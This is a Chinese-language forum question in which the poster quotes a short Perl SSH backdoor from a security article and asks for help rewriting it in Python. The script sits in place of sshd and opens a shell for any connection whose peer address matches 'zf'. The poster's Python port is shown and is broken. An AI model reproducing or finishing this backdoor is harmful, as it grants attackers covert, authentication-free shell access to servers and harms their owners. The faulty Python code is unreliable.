問題出現(xiàn)的環(huán)境背景及自己嘗試過哪些方法有個linux程序運行傳參(socket)的問題,有個perl中間件腳本如下:#!/usr/bin/perlexec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;我用python實現(xiàn)這個功能,卡在了重寫第一句的條件判斷處。perl是用了getpeername的方法來從stdin中取到了信息,我不知道怎么查看這個stdin,于是查perl的資料知道getpeername()是根據(jù)socketfd來獲得remoteaddress+port:*POSIX::getpeernameallowsyoutogetpeernamefromsockfd.來自https://metacpan.org/pod/POSI...*我按照這個思路用python的os模塊實現(xiàn)卻沒有成果,#!/usr/bin/python3.5importosimportsocketimportsubprocessimportsysforsinsys.stdin:raddr=os.read(s,100)ifre.match(r'..zf',raddr):os.execv("/bin/sh")withopen("hello.log","a+")asf:f.write(str(raddr))os.execv('/usr/bin/sshd',sys.argv)我的查詢結(jié)果對嗎?這個stdin是一個打開的socket文件描述符么也就是個非負(fù)整數(shù)么?PS:這個perl腳本的來源一款短小精致的SSH后門分析-FreeBuf互聯(lián)網(wǎng)安全新媒體平臺https://www.freebuf.com/artic...問題描述
大佬們遇到過這個問題嗎?這個perl腳本的stdin的內(nèi)容的判斷?跪求!
胡子哥哥
2019-08-09 23:10:27